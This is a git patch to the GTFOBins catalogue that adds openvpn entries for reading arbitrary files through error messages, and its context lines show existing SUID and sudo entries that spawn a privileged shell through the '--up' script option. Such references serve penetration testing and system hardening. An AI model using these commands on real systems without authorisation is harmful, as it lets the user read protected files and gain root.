From daf9b43e8017e94b38eaca393664345557aa29e5 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Sat, 20 Feb 2021 00:52:04 +0100 Subject: [PATCH] Add openvpn file-read Related #171. --- _gtfobins/openvpn.md | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/_gtfobins/openvpn.md b/_gtfobins/openvpn.md index dea76b6..394b8c7 100644 --- a/_gtfobins/openvpn.md +++ b/_gtfobins/openvpn.md @@ -1,10 +1,23 @@ --- functions: + file-read: + - description: The file is actually parsed and the first partial wrong line is returned in an error message. + code: | + LFILE=file_to_read + openvpn --config "$LFILE" suid: - code: | ./openvpn --dev tun0 --script-security 2 --up '/bin/sh -p -c "sh -p"' + - description: The file is actually parsed and the first partial wrong line is returned in an error message. + code: | + LFILE=file_to_read + ./openvpn --config "$LFILE" sudo: - code: | COMMAND='id' sudo openvpn --dev tun0 --script-security 2 --up '/bin/sh -c sh' + - description: The file is actually parsed and the first partial wrong line is returned in an error message. + code: | + LFILE=file_to_read + sudo openvpn --config "$LFILE" ---